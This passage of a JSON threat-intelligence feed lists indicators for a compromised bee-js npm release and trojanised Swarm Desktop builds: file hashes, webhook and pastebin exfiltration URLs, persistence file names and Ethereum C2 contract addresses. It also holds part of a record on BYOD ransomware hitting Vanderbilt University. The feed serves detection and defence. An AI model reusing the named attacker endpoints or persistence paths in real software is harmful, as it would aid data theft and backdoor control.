"recommended_action": "block", "description": "webhook.site collector that receives stolen data; block this exact URL only, because webhook.site itself is a legitimate shared service.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "https://webhook.site/c05b53d9-c3b6-4a90-94dc-b86a0a4e905f", "type": "url", "confidence": "high", "recommended_action": "block", "description": "webhook.site collector that receives stolen data; block this exact URL only, because webhook.site itself is a legitimate shared service.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "https://pastebin.com/raw/q1p9qH2w", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "Pastebin raw paste listed by Socket as campaign infrastructure; alert on this URL only, not pastebin.com.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "d01fdf241aa9e0a1ba6ebc19f8f667af1bf652745021c5050126cb7036f7ce58", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the malicious bee-js-13.3.0.tgz npm tarball.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://bazaar.abuse.ch/sample/d01fdf241aa9e0a1ba6ebc19f8f667af1bf652745021c5050126cb7036f7ce58/", "name": "MalwareBazaar" } ] }, { "value": "ee2f762e9ed3fd89f106e0b80c2e923bf1aed9a280277d3d998a5902c4d9ec0f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of scripts/generate-version.cjs, the postinstall loader added to bee-js 13.3.0.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "f81315968e679b48f6bdff1c9b928bb223230d07f44d7948412c2250c2a14deb", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the trojanised dist/desktop/src/index.js inside app.asar, common to all Swarm Desktop 0.56.2 builds.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "92c6eb24f9910b3577d5939a8686f9bf6e52f1bdd5872bf96cab0132b4558025", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the trojanised Swarm Desktop 0.56.2 app.asar (Linux).", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "e49afac84dbb6d5a5d101f87754575024b078d67a7ab9e767ff0f7b5b4368069", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the trojanised Swarm Desktop 0.56.2 app.asar (macOS).", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "40a45d68aa49e9e6233c4eb6bb2eb2e92525deea5d17863f6910fc24b06ff20e", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the trojanised Swarm Desktop 0.56.2 app.asar (Windows).", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "14f23342f4292ede4546070e0e3e1cacd06fa781a2937ac374d2b47dbaf77666", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package swarm-desktop_0.56.2_amd64.deb.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "23f2d944a0dfa60df493667428d9304cfc1961270b6c68f8d0f38df7fe0e2d31", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package swarm-desktop_0.56.2_arm64.deb.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "aed930fbf5993df4ce9bb5951a4092da8a28a12fb45a81ad9715c7b029606fd0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package swarm-desktop-0.56.2-1.x86_64.rpm.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "e0304260dcf2f29d1b4690dc46e9ceb35d5554a79ea749cd913687288d6e228b", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package swarm-desktop-0.56.2-1.arm64.rpm.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "94df8933a57cb9962a312a79c079fd0d43706a45066cda1f1b2322f403ad9217", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package Swarm.Desktop-0.56.2-arm64.dmg.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "718ae6ac77e119568dff50a6409996bd649c8e9daf7c8a5616856ff1909a916f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package Swarm.Desktop-darwin-arm64-0.56.2.zip.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "0ef1fbe5db17ec0ebd3bcac576f0f0f351a5ef5da67d5e45a9817e7a224acc5d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package Swarm.Desktop-0.56.2.Setup.exe.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "ffd280b8ff519b647041b7453754bfd35d341bbd26bce02cb325c512c8976645", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package swarm-desktop-0.56.2-full.nupkg.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "6a37ce783e406f135ed8b60e0897e0e1146a9fa220c2e6c5ce4118fff967f395", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of trojanised Swarm Desktop 0.56.2 package Swarm.Desktop-win32-x64-0.56.2.zip.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "1f3a7afd2e43215f09f2a81063dc2796af556bae74aaf492fba2d66e5d65b14c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-2 script for Linux fetched from the loader C2.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "2496d74e6a913eba39c8537be31baeff9cf6ccdd8ee84a69475302815cfd4105", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-2 script for macOS fetched from the loader C2.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "705b4aa2bc6fa35f8e6d448f3c6e193fac6027b9b5239e212e09732cc9fc0dba", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-2 script for Windows fetched from the loader C2.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "735aba95e24f515a5cea4efea309f245952917d372b37b5fbea305986dbcd568", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-2 decoy file served by the loader C2.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-3 evjawbreaker backdoor for linux_amd64.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-3 evjawbreaker backdoor for linux_arm64.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-3 evjawbreaker macOS backdoor (vendors disagree on whether this is the amd64 or arm64 build).", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the stage-3 evjawbreaker macOS backdoor (vendors disagree on whether this is the amd64 or arm64 build).", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of stage-3 invoke.ps1, the Windows PowerShell stage.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of stage-3 app.msi, the rogue ScreenConnect client installer for Windows.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" }, { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "a205c8a5fed81e9a787645b2801f00be3db3348d", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "npm integrity SHA1 of the malicious @ethersphere/bee-js@13.3.0 tarball.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" }, { "url": "https://bazaar.abuse.ch/sample/d01fdf241aa9e0a1ba6ebc19f8f667af1bf652745021c5050126cb7036f7ce58/", "name": "MalwareBazaar" } ] }, { "value": "@ethersphere/bee-js@13.3.0", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Malicious npm package version (GHSA-hh7j-5m3j-23pf) with a postinstall loader; the last clean version is 13.2.0.", "source_url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "source_label": "The Hacker News – Hackers compromise Ethersphere's bee-js", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "swarm-desktop 0.56.2", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Trojanised Swarm Desktop GitHub release and auto-update; check installed versions.", "source_url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "source_label": "The Hacker News – Hackers compromise Ethersphere's bee-js", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "~/.solidity/", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Linux/macOS implant directory holding the evjawbreaker binaries plus .run.py and .run.cjs.", "source_url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "source_label": "The Hacker News – Hackers compromise Ethersphere's bee-js", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "solidity-langsupport-runner.service", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "systemd user unit in ~/.config/systemd/user/ used for Linux persistence.", "source_url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "source_label": "The Hacker News – Hackers compromise Ethersphere's bee-js", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "com.solidity.langsupport.runner.plist", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "LaunchAgent in ~/Library/LaunchAgents used for macOS persistence.", "source_url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "source_label": "The Hacker News – Hackers compromise Ethersphere's bee-js", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "ScreenConnect Client (5cbe79c9c25524df)", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Windows service name of the rogue ScreenConnect client installed by stage 3.", "source_url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "source_label": "The Hacker News – Hackers compromise Ethersphere's bee-js", "source_name": "The Hacker News", "sources": [ { "url": "https://thehackernews.com/2026/11/hackers-compromise-etherspheres-bee-js.html", "name": "The Hacker News" } ] }, { "value": "%TEMP%\\.stuffed-*", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Windows staging path used by the stage-2 loader.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "%LOCALAPPDATA%\\.<32-hex-guid>\\app.msi", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Drop location of the rogue ScreenConnect MSI on Windows.", "source_url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "source_label": "Corgea – bee-js 13.3.0 and Swarm Desktop 0.56.2 hijacked to deploy evjawbreaker", "source_name": "Corgea", "sources": [ { "url": "https://corgea.com/research/ethersphere-bee-js-13-3-0-swarm-desktop-0-56-2-evjawbreaker-ethereum-c2-november-2026", "name": "Corgea" } ] }, { "value": "0xf8a900Db50b3331be6B768bA460BB59f3E40C344", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Ethereum C2 dead-drop contract 1, shared with the SleepyDuck/EtherDuck campaign; hunt for eth_call to it from non-crypto hosts.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "0x6a82595EEea0f4FDFB3aE13A2687BcbBE626e94B", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Ethereum C2 dead-drop contract 2; hunt for eth_call to it from non-crypto hosts.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "0xFd3fc58bcbd8ccc77b6000201438eDfc636E7cA7", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Operator wallet 1 that controls the C2 dead-drop contract.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] }, { "value": "0xA7B15A2B5F6992DC3BabB946375d6895fF1171BF", "type": "eth_address", "confidence": "high", "recommended_action": "monitor", "description": "Operator wallet 2 that controls the C2 dead-drop contract.", "source_url": "https://socket.dev/blog/bee-js-compromise", "source_label": "Socket – Malicious bee-js npm release and Swarm Desktop releases deliver SleepyDuck Ethereum C2 backdoor", "source_name": "Socket", "sources": [ { "url": "https://socket.dev/blog/bee-js-compromise", "name": "Socket" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt.kql", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt.spl", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt_raw.spl", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack/hunt.yaral", "download": "Ethersphere-bee-js-Swarm-Desktop-Supply-Chain-Attack_hunt.yaral" } ] }, { "id": "BYOD-Ransomware-Vanderbilt-University-Attack", "folder": "threats/2026-11_November-2026/2026-11-10/BYOD-Ransomware-Vanderbilt-University-Attack", "name": "BYOD Ransomware and Extortion: Vanderbilt University Attack", "short": "BYOD ransomware", "category": "Ransomware", "published": "2026-11-09", "entry_date": "2026-11-10 13:43", "last_updated": "2026-11-10", "seq": 4, "headline": "New ransomware and extortion group claiming Vanderbilt University", "summary": "BYOD is a ransomware and extortion group that launched in 2026 and runs a Tor data leak site, where ransomware.live counted 17 listed victims on 10 November 2026. On 9 November 2026 it claimed an attack on Vanderbilt University, alleging encrypted databases and theft of student, employee and research data including over a million Social Security numbers. The ransom note README_BYOD_31.txt points to the leak site and a Session messenger ID for negotiation. Vanderbilt confirmed an active cybersecurity incident but has not confirmed the group's involvement. Staff told the Nashville Banner that a “system update” notice and a message about deleting old files appeared before the ransom warning, after which their files carried a .byod extension, and that Box sent notices of file deletions by administrators who had not touched the files.", "caveat": null, "targets": { "countries": [ { "code": "US", "name": "United States" }, { "code": "JP", "name": "Japan" }, { "code": "GB", "name": "United Kingdom" }, { "code": "SG", "name": "Singapore" }, { "code": "MY", "name": "Malaysia" } ], "regions": [], "sectors": [ "Education", "Technology", "Manufacturing", "Hospitality", "Healthcare" ], "note": "Based on the victims listed on BYOD's leak site, as tracked by ransomware.live on 11 Nov 2026 (United States: 7 victims; Japan, the United Kingdom, Singapore and Malaysia: 1 each).", "source": { "url": "https://www.ransomware.live/group/BYOD", "label": "ransomware.live – BYOD group profile", "name": "ransomware.live" } }, "mitre": [ { "id": "T1486", "name": "Data Encrypted for Impact", "url": "https://attack.mitre.org/techniques/T1486/" }, { "id": "T1657", "name": "Financial Theft", "url": "https://attack.mitre.org/techniques/T1657/" } ], "recommended_actions": [ "Hunt endpoints and file shares for README_BYOD_*.txt ransom notes.", "Alert on mail to or from byod@onionmail.org and on any proxy or tor2web access to the leak site.", "Alert on bursts of file renames to the .byod extension on endpoints and file shares, and on mass deletions or changes in OneDrive, Box or Dropbox by one account.", "The encryptor reached Vanderbilt machines looking like a system update, so review recent Group Policy, scheduled task and software deployment changes made from domain controllers or management servers.", "No network IOCs for the intrusion itself have been published yet; focus on general ransomware hardening and backup checks." ], "sources": [ { "url": "https://www.bleepingcomputer.com/news/security/vanderbilt-university-hit-in-byod-ransomware-attack-data-theft-claimed/", "label": "BleepingComputer – Vanderbilt University hit in BYOD ransomware attack", "name": "BleepingComputer" }, { "url": "https://www.ransomware.live/group/BYOD", "label": "ransomware.live – BYOD group profile", "name": "ransomware.live" }, { "url": "https://nashvillebanner.com/2026/11/09/vanderbilt-university-cyberattack-byod/", "label": "Nashville Banner – Cybersecurity breach impacts Vanderbilt University", "name": "Nashville Banner" } ], "indicator_count": 5, "block_now_count": 1, "hunt_count": 4, "hunt_counts": { "alert": 4 }, "indicator_counts": { "domain": 1, "email": 1, "filename": 1, "other": 1, "session_id": 1 }, "ioas": [ { "artefact": "Ransom notes named README_BYOD_.txt created on many hosts or shares in a short time", "log_source": "EDR file events, file server auditing", "why": "BleepingComputer saw the note README_BYOD_31.txt on a victim screen; a burst of these files means encryption is under way.", "action": "alert", "has_query": true, "source_url": "https://www.bleepingcomputer.com/news/security/vanderbilt-university-hit-in-byod-ransomware-attack-data-theft-claimed/", "source_name": "BleepingComputer", "title": "README_BYOD ransom notes", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Many files renamed to the .byod extension on one device or share within minutes", "log_source": "EDR file events, file server auditing", "why": "Vanderbilt staff saw every file on their computers become .byod files after the ransom warning appeared.", "action": "alert", "has_query": true, "source_url": "https://nashvillebanner.com/2026/11/09/vanderbilt-university-cyberattack-byod/", "source_name": "Nashville Banner", "title": "Mass renames to the .byod extension", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A \"system update\" notice and a message about deleting old files shortly before encryption", "log_source": "Group Policy and scheduled task changes, software deployment logs, EDR process events", "why": "Staff described a system update prompt, then a file deletion message, then the ransom warning; this points to delivery through an internal management channel (an inference, not confirmed by Vanderbilt).", "action": "hunt", "has_query": false, "source_url": "https://nashvillebanner.com/2026/11/09/vanderbilt-university-cyberattack-byod/", "source_name": "Nashville Banner", "title": "Fake system update shortly before encryption", "queries": [] }, { "artefact": "Cloud storage notices of file deletions by administrators who did not touch the files", "log_source": "Box admin events, OneDrive and SharePoint audit (FileDeleted, FileRenamed)", "why": "Vanderbilt faculty received Box notices that administrators had deleted files they had not accessed.", "action": "alert", "has_query": false, "source_url": "https://nashvillebanner.com/2026/11/09/vanderbilt-university-cyberattack-byod/", "source_name": "Nashville Banner", "title": "Cloud file deletions by administrators who did not make them", "queries": [] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate 